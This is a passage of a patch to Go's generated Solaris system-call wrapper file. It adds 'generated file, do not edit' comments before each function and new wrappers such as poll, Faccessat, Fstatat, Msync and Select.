- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&proc__xnet_recvmsg)), 3, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags), 0, 0, 0)
- n = int(r0)
-@@ -505,6 +555,8 @@ func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&proc__xnet_sendmsg)), 3, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags), 0, 0, 0)
- n = int(r0)
-@@ -514,6 +566,8 @@ func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func acct(path *byte) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procacct)), 1, uintptr(unsafe.Pointer(path)), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -522,6 +576,32 @@ func acct(path *byte) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func __makedev(version int, major uint, minor uint) (val uint64) {
-+ r0, _, _ := sysvicall6(uintptr(unsafe.Pointer(&proc__makedev)), 3, uintptr(version), uintptr(major), uintptr(minor), 0, 0, 0)
-+ val = uint64(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func __major(version int, dev uint64) (val uint) {
-+ r0, _, _ := sysvicall6(uintptr(unsafe.Pointer(&proc__major)), 2, uintptr(version), uintptr(dev), 0, 0, 0, 0)
-+ val = uint(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func __minor(version int, dev uint64) (val uint) {
-+ r0, _, _ := sysvicall6(uintptr(unsafe.Pointer(&proc__minor)), 2, uintptr(version), uintptr(dev), 0, 0, 0, 0)
-+ val = uint(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func ioctl(fd int, req uint, arg uintptr) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procioctl)), 3, uintptr(fd), uintptr(req), uintptr(arg), 0, 0, 0)
- if e1 != 0 {
-@@ -530,6 +610,19 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procpoll)), 3, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout), 0, 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = e1
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -543,6 +636,8 @@ func Access(path string, mode uint32) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procAdjtime)), 2, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -551,6 +646,8 @@ func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Chdir(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -564,6 +661,8 @@ func Chdir(path string) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Chmod(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -577,6 +676,8 @@ func Chmod(path string, mode uint32) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Chown(path string, uid int, gid int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -590,6 +691,8 @@ func Chown(path string, uid int, gid int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Chroot(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -603,6 +706,8 @@ func Chroot(path string) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Close(fd int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procClose)), 1, uintptr(fd), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -611,6 +716,8 @@ func Close(fd int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Creat(path string, mode uint32) (fd int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -625,6 +732,8 @@ func Creat(path string, mode uint32) (fd int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Dup(fd int) (nfd int, err error) {
- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procDup)), 1, uintptr(fd), 0, 0, 0, 0, 0)
- nfd = int(r0)
-@@ -634,6 +743,8 @@ func Dup(fd int) (nfd int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Dup2(oldfd int, newfd int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procDup2)), 2, uintptr(oldfd), uintptr(newfd), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -642,11 +753,30 @@ func Dup2(oldfd int, newfd int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Exit(code int) {
- sysvicall6(uintptr(unsafe.Pointer(&procExit)), 1, uintptr(code), 0, 0, 0, 0, 0)
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFaccessat)), 4, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = e1
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchdir(fd int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFchdir)), 1, uintptr(fd), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -655,6 +785,8 @@ func Fchdir(fd int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchmod(fd int, mode uint32) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFchmod)), 2, uintptr(fd), uintptr(mode), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -663,6 +795,8 @@ func Fchmod(fd int, mode uint32) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -676,6 +810,8 @@ func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchown(fd int, uid int, gid int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFchown)), 3, uintptr(fd), uintptr(uid), uintptr(gid), 0, 0, 0)
- if e1 != 0 {
-@@ -684,6 +820,8 @@ func Fchown(fd int, uid int, gid int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -697,6 +835,8 @@ func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fdatasync(fd int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFdatasync)), 1, uintptr(fd), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -705,6 +845,8 @@ func Fdatasync(fd int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Flock(fd int, how int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFlock)), 2, uintptr(fd), uintptr(how), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -713,6 +855,8 @@ func Flock(fd int, how int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fpathconf(fd int, name int) (val int, err error) {
- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFpathconf)), 2, uintptr(fd), uintptr(name), 0, 0, 0, 0)
- val = int(r0)
-@@ -722,6 +866,8 @@ func Fpathconf(fd int, name int) (val int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fstat(fd int, stat *Stat_t) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFstat)), 2, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -730,6 +876,23 @@ func Fstat(fd int, stat *Stat_t) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFstatat)), 4, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = e1
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fstatvfs(fd int, vfsstat *Statvfs_t) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFstatvfs)), 2, uintptr(fd), uintptr(unsafe.Pointer(vfsstat)), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -738,6 +901,8 @@ func Fstatvfs(fd int, vfsstat *Statvfs_t) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getdents(fd int, buf []byte, basep *uintptr) (n int, err error) {
- var _p0 *byte
- if len(buf) > 0 {
-@@ -751,18 +916,24 @@ func Getdents(fd int, buf []byte, basep *uintptr) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getgid() (gid int) {
- r0, _, _ := rawSysvicall6(uintptr(unsafe.Pointer(&procGetgid)), 0, 0, 0, 0, 0, 0, 0)
- gid = int(r0)
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getpid() (pid int) {
- r0, _, _ := rawSysvicall6(uintptr(unsafe.Pointer(&procGetpid)), 0, 0, 0, 0, 0, 0, 0)
- pid = int(r0)
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getpgid(pid int) (pgid int, err error) {
- r0, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procGetpgid)), 1, uintptr(pid), 0, 0, 0, 0, 0)
- pgid = int(r0)
-@@ -772,6 +943,8 @@ func Getpgid(pid int) (pgid int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getpgrp() (pgid int, err error) {
- r0, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procGetpgrp)), 0, 0, 0, 0, 0, 0, 0)
- pgid = int(r0)
-@@ -781,24 +954,32 @@ func Getpgrp() (pgid int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Geteuid() (euid int) {
- r0, _, _ := sysvicall6(uintptr(unsafe.Pointer(&procGeteuid)), 0, 0, 0, 0, 0, 0, 0)
- euid = int(r0)
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getegid() (egid int) {
- r0, _, _ := sysvicall6(uintptr(unsafe.Pointer(&procGetegid)), 0, 0, 0, 0, 0, 0, 0)
- egid = int(r0)
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getppid() (ppid int) {
- r0, _, _ := sysvicall6(uintptr(unsafe.Pointer(&procGetppid)), 0, 0, 0, 0, 0, 0, 0)
- ppid = int(r0)
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getpriority(which int, who int) (n int, err error) {
- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procGetpriority)), 2, uintptr(which), uintptr(who), 0, 0, 0, 0)
- n = int(r0)
-@@ -808,6 +989,8 @@ func Getpriority(which int, who int) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getrlimit(which int, lim *Rlimit) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procGetrlimit)), 2, uintptr(which), uintptr(unsafe.Pointer(lim)), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -816,6 +999,8 @@ func Getrlimit(which int, lim *Rlimit) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getrusage(who int, rusage *Rusage) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procGetrusage)), 2, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -824,6 +1009,8 @@ func Getrusage(who int, rusage *Rusage) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Gettimeofday(tv *Timeval) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procGettimeofday)), 1, uintptr(unsafe.Pointer(tv)), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -832,12 +1019,16 @@ func Gettimeofday(tv *Timeval) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getuid() (uid int) {
- r0, _, _ := rawSysvicall6(uintptr(unsafe.Pointer(&procGetuid)), 0, 0, 0, 0, 0, 0, 0)
- uid = int(r0)
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Kill(pid int, signum syscall.Signal) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procKill)), 2, uintptr(pid), uintptr(signum), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -846,6 +1037,8 @@ func Kill(pid int, signum syscall.Signal) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Lchown(path string, uid int, gid int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -859,6 +1052,8 @@ func Lchown(path string, uid int, gid int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Link(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -877,6 +1072,8 @@ func Link(path string, link string) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Listen(s int, backlog int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&proc__xnet_llisten)), 2, uintptr(s), uintptr(backlog), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -885,6 +1082,8 @@ func Listen(s int, backlog int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Lstat(path string, stat *Stat_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -898,6 +1097,8 @@ func Lstat(path string, stat *Stat_t) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Madvise(b []byte, advice int) (err error) {
- var _p0 *byte
- if len(b) > 0 {
-@@ -910,6 +1111,8 @@ func Madvise(b []byte, advice int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkdir(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -923,6 +1126,8 @@ func Mkdir(path string, mode uint32) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkdirat(dirfd int, path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -936,6 +1141,8 @@ func Mkdirat(dirfd int, path string, mode uint32) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkfifo(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -949,6 +1156,8 @@ func Mkfifo(path string, mode uint32) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkfifoat(dirfd int, path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -962,6 +1171,8 @@ func Mkfifoat(dirfd int, path string, mode uint32) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -975,6 +1186,8 @@ func Mknod(path string, mode uint32, dev int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -988,6 +1201,8 @@ func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mlock(b []byte) (err error) {
- var _p0 *byte
- if len(b) > 0 {
-@@ -1000,6 +1215,8 @@ func Mlock(b []byte) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mlockall(flags int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procMlockall)), 1, uintptr(flags), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1008,6 +1225,8 @@ func Mlockall(flags int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mprotect(b []byte, prot int) (err error) {
- var _p0 *byte
- if len(b) > 0 {
-@@ -1020,6 +1239,22 @@ func Mprotect(b []byte, prot int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Msync(b []byte, flags int) (err error) {
-+ var _p0 *byte
-+ if len(b) > 0 {
-+ _p0 = &b[0]
-+ }
-+ _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procMsync)), 3, uintptr(unsafe.Pointer(_p0)), uintptr(len(b)), uintptr(flags), 0, 0, 0)
-+ if e1 != 0 {
-+ err = e1
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Munlock(b []byte) (err error) {
- var _p0 *byte
- if len(b) > 0 {
-@@ -1032,6 +1267,8 @@ func Munlock(b []byte) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Munlockall() (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procMunlockall)), 0, 0, 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1040,6 +1277,8 @@ func Munlockall() (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procNanosleep)), 2, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1048,6 +1287,8 @@ func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Open(path string, mode int, perm uint32) (fd int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1062,6 +1303,8 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1076,6 +1319,8 @@ func Openat(dirfd int, path string, flags int, mode uint32) (fd int, err error)
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pathconf(path string, name int) (val int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1090,6 +1335,8 @@ func Pathconf(path string, name int) (val int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pause() (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procPause)), 0, 0, 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1098,6 +1345,8 @@ func Pause() (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pread(fd int, p []byte, offset int64) (n int, err error) {
- var _p0 *byte
- if len(p) > 0 {
-@@ -1111,6 +1360,8 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- var _p0 *byte
- if len(p) > 0 {
-@@ -1124,6 +1375,8 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func read(fd int, p []byte) (n int, err error) {
- var _p0 *byte
- if len(p) > 0 {
-@@ -1137,6 +1390,8 @@ func read(fd int, p []byte) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Readlink(path string, buf []byte) (n int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1155,6 +1410,8 @@ func Readlink(path string, buf []byte) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Rename(from string, to string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(from)
-@@ -1173,6 +1430,8 @@ func Rename(from string, to string) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(oldpath)
-@@ -1191,6 +1450,8 @@ func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err e
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Rmdir(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1204,6 +1465,8 @@ func Rmdir(path string) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&proclseek)), 3, uintptr(fd), uintptr(offset), uintptr(whence), 0, 0, 0)
- newoffset = int64(r0)
-@@ -1213,6 +1476,19 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procSelect)), 5, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = e1
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setegid(egid int) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procSetegid)), 1, uintptr(egid), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1221,6 +1497,8 @@ func Setegid(egid int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Seteuid(euid int) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procSeteuid)), 1, uintptr(euid), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1229,6 +1507,8 @@ func Seteuid(euid int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setgid(gid int) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procSetgid)), 1, uintptr(gid), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1237,6 +1517,8 @@ func Setgid(gid int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Sethostname(p []byte) (err error) {
- var _p0 *byte
- if len(p) > 0 {
-@@ -1249,6 +1531,8 @@ func Sethostname(p []byte) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setpgid(pid int, pgid int) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procSetpgid)), 2, uintptr(pid), uintptr(pgid), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1257,6 +1541,8 @@ func Setpgid(pid int, pgid int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setpriority(which int, who int, prio int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procSetpriority)), 3, uintptr(which), uintptr(who), uintptr(prio), 0, 0, 0)
- if e1 != 0 {
-@@ -1265,6 +1551,8 @@ func Setpriority(which int, who int, prio int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setregid(rgid int, egid int) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procSetregid)), 2, uintptr(rgid), uintptr(egid), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1273,6 +1561,8 @@ func Setregid(rgid int, egid int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setreuid(ruid int, euid int) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procSetreuid)), 2, uintptr(ruid), uintptr(euid), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1281,6 +1571,8 @@ func Setreuid(ruid int, euid int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setrlimit(which int, lim *Rlimit) (err error) {
